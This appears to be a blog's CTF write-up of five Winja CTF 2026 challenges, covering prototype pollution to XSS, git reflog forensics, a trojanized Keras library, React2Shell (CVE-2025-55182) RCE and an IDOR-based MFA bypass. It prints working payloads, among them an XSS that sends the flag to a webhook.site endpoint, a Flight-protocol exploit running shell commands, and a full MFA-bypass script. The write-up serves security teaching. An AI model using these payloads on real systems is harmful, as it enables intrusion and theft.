tr0j4n.tech

WinjaCTF 2026 Writeup

These writeups cover five challenges from Winja CTF 2026. Each one walks through the bug, why it’s exploitable, and how I went about popping it.


1. HR Portal - Prototype Pollution to XSS

The Challenge

The HR Portal lets employees submit and update profile info through a web form. It takes JSON data for employee records - name, employee ID, role, department, email, the usual stuff.

Quick Primer on Prototype Pollution

Every JavaScript object inherits from Object.prototype. When you access a property, JS looks at the object first, then walks up the prototype chain until it hits Object.prototype.

Prototype Pollution is what happens when an attacker manages to inject properties into Object.prototype. Since every object inherits from it, one polluted property affects the entire runtime.

The typical vector is an unsafe recursive merge or deep-copy function that doesn’t filter out __proto__:

// Vulnerable merge function
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Attacker input
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

// Now EVERY object has isAdmin === true
console.log({}.isAdmin); // true

Why This App is Vulnerable

The HR Portal backend takes user-supplied JSON and merges it into an internal employee object without sanitizing __proto__. So we can shove arbitrary properties into Object.prototype.

The real escalation from Prototype Pollution to XSS comes from polluting toString. When JS implicitly converts an object to a string (during DOM rendering via innerHTML, template interpolation, etc.), it calls toString(). If we overwrite Object.prototype.toString with an HTML string containing a script tag or event handler, every object-to-string conversion becomes an XSS sink.

How I Solved It

Step 1 - Build the Prototype Pollution payload:

We inject __proto__.toString with an img tag. The onerror handler fires JS when the (intentionally broken) image fails to load:

{
  "__proto__": {
    "toString": "<img src=x onerror=\"fetch('/flag').then(r=>r.text()).then(t=>fetch('https://webhook.site/<your-id>/',{method:'POST',mode:'no-cors',body:t}))\">"
  },
  "name": "Admin Fetcher",
  "employee_id": "EMP-007",
  "role": "Security",
  "department": "IT",
  "email": "test@test.com"
}

Step 2 - XSS chain triggers:

  1. Backend stores the employee record with the polluted prototype
  2. When the portal renders any employee object as a string (dashboard, list view, etc.), toString() returns our img tag instead of [object Object]
  3. Browser parses the img tag, tries to load src=x, fails, triggers onerror
  4. The JS in onerror fetches GET /flag from the server
  5. Flag contents get POSTed to our webhook endpoint

Step 3 - Grab the flag from webhook.site:

The flag shows up as a POST body at the attacker-controlled webhook URL.

Takeaways

  • Prototype Pollution often gets dismissed as low-severity, but chaining it with XSS via toString pollution makes it critical
  • Fix: sanitize __proto__, constructor, and prototype keys from user input before merging

2. Inventory Core - Git Forensics

The Challenge

We got a ZIP file (challenge.zip) containing a Git repo called inventory-core/. Inside was a Python build manifest verification tool (core.py). Goal: find a hidden flag somewhere in the repo.

Git Reflog 101

Git’s reflog (reference log) records every change to branch tips and HEAD. Unlike commit history (which is a DAG), the reflog is a sequential log of where HEAD pointed over time.

The key thing: when someone uses git reset to “delete” a commit, the commit object still exists in .git/objects/. The branch pointer moves, but the dangling commit stays accessible through the reflog until git gc prunes it (default: 90 days).

Why This Repo Leaks Secrets

The developer committed sensitive data (the flag) in INTERNAL_NOTE.txt, realized it was a mistake, and ran:

git reset HEAD~1

This moved the master branch pointer back one commit, making the sensitive commit vanish from git log. But the commit itself was never actually deleted - it just became a dangling object in the reflog.

This is a super common mistake. Devs think git reset “erases” a commit when it really just moves the pointer. GitHub and GitLab also retain force-pushed commits in internal storage.

How I Solved It

Step 1 - Check the visible history:

$ git log --oneline
03592dd (HEAD -> master) initial inventory core logic

Single commit. Nothing interesting in core.py.

Step 2 - Check the reflog:

$ git reflog
03592dd HEAD@{0}: reset: moving to HEAD~1
8cdd058 HEAD@{1}: commit: temporary internal note
03592dd HEAD@{2}: commit (initial): initial inventory core logic

Three entries:

  1. Initial commit
  2. A commit called “temporary internal note” (suspicious!)
  3. A reset that moved HEAD back - this is the “deletion”

Step 3 - Check the deleted commit:

$ git show 8cdd058
commit 8cdd058...
    temporary internal note

diff --git a/INTERNAL_NOTE.txt b/INTERNAL_NOTE.txt
+++ b/INTERNAL_NOTE.txt
@@ -0,0 +1 @@
+temporary_note=flag{c9463f034cf694deccb13655a5b48656_$UPPly_ch@in_I5_fUN}

There it is. The “deleted” commit had INTERNAL_NOTE.txt with the flag.

Takeaways

  • git reset does NOT delete commits - use git filter-branch or BFG Repo-Cleaner to actually purge secrets
  • Always check git reflog, git fsck --lost-found, and git log --all --reflog when doing Git forensics
  • This kind of thing happens all the time with AWS keys, API tokens, and passwords in real repos

3. KedCorrupted - Keras Supply Chain Backdoor

The Challenge

We got kedcorrupted.zip - a ZIP containing a full copy of the Keras deep learning framework. The name “KedCorrupted” hints that something’s been tampered with. Goal: find the malicious modification and grab the flag.

Supply Chain Attacks in a Nutshell

A supply chain attack goes after the tools, libraries, or build processes developers use instead of attacking the final application. Compromise a popular library and your code runs on every system that imports it.

Some real-world examples:

  • event-stream (2018): Malicious maintainer added a dependency that stole Bitcoin wallets
  • ua-parser-js (2021): npm package hijacked to install cryptominers
  • PyPI typosquatting: Packages like python3-dateutil (typosquat of python-dateutil) stealing SSH keys

Why This Keras Copy is Backdoored

The provided Keras library is a trojanized copy of the official release. One or more source files got modified to include a backdoor. With hundreds of Python files across dozens of modules, the backdoor blends right in with legitimate code.

How I Solved It

Step 1 - Figure out the version:

Extracted the ZIP. Checked PKG-INFO and pyproject.toml to pin down the exact Keras version.

Step 2 - Diff against the official source:

Downloaded the same version from PyPI and ran a recursive diff:

diff -r official_keras/ kedcorrupted/kedcorrupted/ --brief

Files that differ from the official release are the tampered ones. Most of the library is untouched - only a few files have changes.

Step 3 - Inspect the modified files:

Looked through each differing file for:

  • Injected exec(), eval(), or os.system() calls
  • Base64-encoded strings
  • Obfuscated code blocks
  • Flag strings hidden in comments, docstrings, or variable assignments

Found the flag inside one of the tampered source files.

Takeaways

  • Always verify package integrity with checksums or signatures
  • Tools like pip-audit, safety, and Sigstore help catch compromised packages
  • Pin exact versions and use lock files to reduce supply chain exposure

4. Shellmates - RCE via React2Shell (CVE-2025-55182)

The Challenge

We had a web app at https://shellmates.definitelynotevilcorp.site/ running Next.js with React Server Components. Goal: pop a shell (or at least get RCE) and read the flag.

What’s CVE-2025-55182 (React2Shell)?

React2Shell is a critical deserialization bug in the React Flight protocol - the internal serialization format Next.js uses to stream data between server and client components.

The Flight protocol uses a compact text format where prefixes like $ denote references to other objects. For example, $1 refers to object at index 1 in the response stream.

The vuln exists because the deserializer resolves dot-separated property access paths without any restriction. A reference like $1:__proto__:then traverses the prototype chain, and $1:constructor:constructor reaches the Function constructor - which is basically eval().

Why It’s Exploitable

Two problems:

  1. Unrestricted property traversal: The deserializer follows any path like $1:__proto__:then, giving access to built-in JS objects
  2. Function constructor access: Reaching Function (via constructor.constructor) lets us create and execute arbitrary functions

The attack flow:

User Input -> Flight Deserializer -> $1:constructor:constructor -> Function("malicious code") -> RCE

How I Solved It

Step 1 - ID the stack:

Response headers and /_next/ asset paths confirmed Next.js + RSC. Googling recent CVEs for this stack pointed to CVE-2025-55182.

Step 2 - Build the Flight protocol payload:

import requests, json

BASE_URL = "https://shellmates.definitelynotevilcorp.site/"

crafted_chunk = {
    "then": "$1:__proto__:then",       # Traverse prototype chain
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": (
            "var res = process.mainModule"
            ".require('child_process')"
            ".execSync('cat /flag*.txt', {'timeout': 5000})"
            ".toString().trim(); "
            "throw Object.assign(new Error('NEXT_REDIRECT'), "
            "{digest: `${res}`});"
        ),
        "_formData": {
            "get": "$1:constructor:constructor",  # Reach Function constructor
        },
    },
}

Breaking down the payload:

  • $1:__proto__:then - accesses Object.prototype.then, making the deserializer treat the object as a thenable (Promise-like)
  • $1:constructor:constructor - goes from any object to its constructor (e.g., Object) to Object.constructor which is Function
  • The _prefix string gets passed to the Function constructor and executed as JS
  • process.mainModule.require('child_process').execSync(...) runs an OS command
  • Output gets smuggled back via a NEXT_REDIRECT error digest

Step 3 - Send as multipart form data:

Server Actions in Next.js expect multipart/form-data. The Next-Action header (even a dummy value) is needed to hit the Server Action code path:

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

res = requests.post(BASE_URL, files=files, headers={"Next-Action": "x"})
print(res.text)

Step 4 - Flag in the response:

Command output showed up in the Flight response stream as the digest of a NEXT_REDIRECT error:

flag{0be093ac66253687b2d035e80f22ff99_r3@CT2sheL1}

Takeaways

  • Deserializing untrusted data remains one of the most dangerous vuln classes out there
  • The React Flight protocol was built for internal server-client comms, not as a public API - but Server Actions expose it to user input
  • Any deserializer that can resolve arbitrary property paths is essentially eval()

5. SSO Portal - MFA Bypass via IDOR

The Challenge

The DefinitelyNotEvilCorp SSO Portal has MFA for all users. After entering username/password, you need a 6-digit TOTP code. Goal: bypass MFA and get into the admin dashboard.

IDOR - The Short Version

Insecure Direct Object Reference (IDOR) is when an app uses user-supplied identifiers (IDs, filenames, etc.) to access internal objects without checking if the requester is actually allowed to access them.

Here, the MFA verification endpoint takes user_id and mfa_id as form parameters and trusts them blindly instead of pulling them from the authenticated session.

TOTP Recap

TOTP (Time-based One-Time Password) from RFC 6238 works like this:

  1. A shared secret is set up between server and client (usually via QR code)
  2. Both sides compute HMAC-SHA1(secret, floor(time / 30)) to get a 6-digit code
  3. Code rotates every 30 seconds
  4. Since both sides know the secret and the current time, they independently produce matching codes

TOTP security hinges entirely on keeping the shared key secret.

How I Solved It

Step 1 - Find admin creds:

Challenge hint: “The lazy administrator still writes their password on sticky notes.” Checked robots.txt:

User-agent: *
Disallow: /admin-credentials

# Note to self: admin:HowCanIForgetThisSecurePassword$123!

Yep. Admin password sitting right there in robots.txt. Classic.

Step 2 - Register a test user and extract the TOTP secret:

The portal had /register. After creating a user (qr_test_user:password123), it showed a QR code for TOTP setup.

Decoded the QR code with zbarimg:

otpauth://totp/DefinitelyNotEvilCorp:qr_test_user
  ?secret=TFYH4NFCEHIMFFGQEV2WDRBCFMZDKUWQ
  &issuer=DefinitelyNotEvilCorp

Now we have the TOTP secret and can generate valid codes:

import pyotp
totp = pyotp.TOTP("TFYH4NFCEHIMFFGQEV2WDRBCFMZDKUWQ")
print(totp.now())  # Valid 6-digit code

Step 3 - Spot the MFA logic flaw:

After logging in, the MFA page had hidden form fields for user_id and mfa_id - both are UUIDs that identify the account and its MFA configuration respectively.

The POST /verify-mfa endpoint takes:

  • user_id - which account to grant access to
  • mfa_id - which MFA config to validate the OTP against
  • otp - the 6-digit TOTP code

The bug: the server validates the OTP against whatever mfa_id is in the request, but never checks that the mfa_id actually belongs to the user_id or the current session. So we can send:

  • The admin’s user_id (server grants access to admin)
  • Our test user’s mfa_id (server checks OTP against our secret)
  • A valid OTP from our known secret

Step 4 - Pull the trigger:

import requests, pyotp
from bs4 import BeautifulSoup

SECRET = "TFYH4NFCEHIMFFGQEV2WDRBCFMZDKUWQ"

# Login as test user -> grab their mfa_id
test_session = requests.Session()
r = test_session.post("https://sso.definitelynotevilcorp.site/login",
    data={"username": "qr_test_user", "password": "password123"})
soup = BeautifulSoup(r.text, 'html.parser')
test_mfa_id = soup.find('input', {'name': 'mfa_id'})['value']

# Login as admin -> grab admin's user_id and session cookie
admin_session = requests.Session()
r = admin_session.post("https://sso.definitelynotevilcorp.site/login",
    data={"username": "admin", "password": "HowCanIForgetThisSecurePassword$123!"})
soup = BeautifulSoup(r.text, 'html.parser')
admin_user_id = soup.find('input', {'name': 'user_id'})['value']

# Generate valid OTP using our known secret
code = pyotp.TOTP(SECRET).now()

# Submit: admin's session + admin's user_id + test user's mfa_id + test user's OTP
r = admin_session.post("https://sso.definitelynotevilcorp.site/verify-mfa",
    data={"user_id": admin_user_id, "mfa_id": test_mfa_id, "otp": code},
    allow_redirects=False)

# Follow redirect to admin dashboard
dashboard = admin_session.get("https://sso.definitelynotevilcorp.site/dashboard")
print(dashboard.text)  # Contains the flag

What’s happening server-side:

  1. Session cookie authenticates us as admin
  2. Server looks up MFA config by mfa_id - gets our test user’s secret
  3. Server validates our OTP against the test user’s secret - it matches
  4. Server looks up the account by user_id - gets the admin account
  5. Server marks the admin session as MFA-verified and redirects to dashboard

Flag on the admin dashboard:

flag{22a30ca7cbfdb720a57057a45059aea4_mf4_BYP455_VIA_iDOr_i5_CR42Y}

Takeaways

  • MFA verification should always derive user identity from the server-side session, never from client-supplied params
  • Hidden form fields aren’t security controls - they’re trivially editable
  • This IDOR breaks the core assumption that MFA is bound to a specific user - swapping mfa_id lets us skip the admin’s MFA entirely without ever knowing their TOTP secret

Writeups by Rahul - Winja CTF 2026 @ DefinitelyNotEvilCorp

← all writeups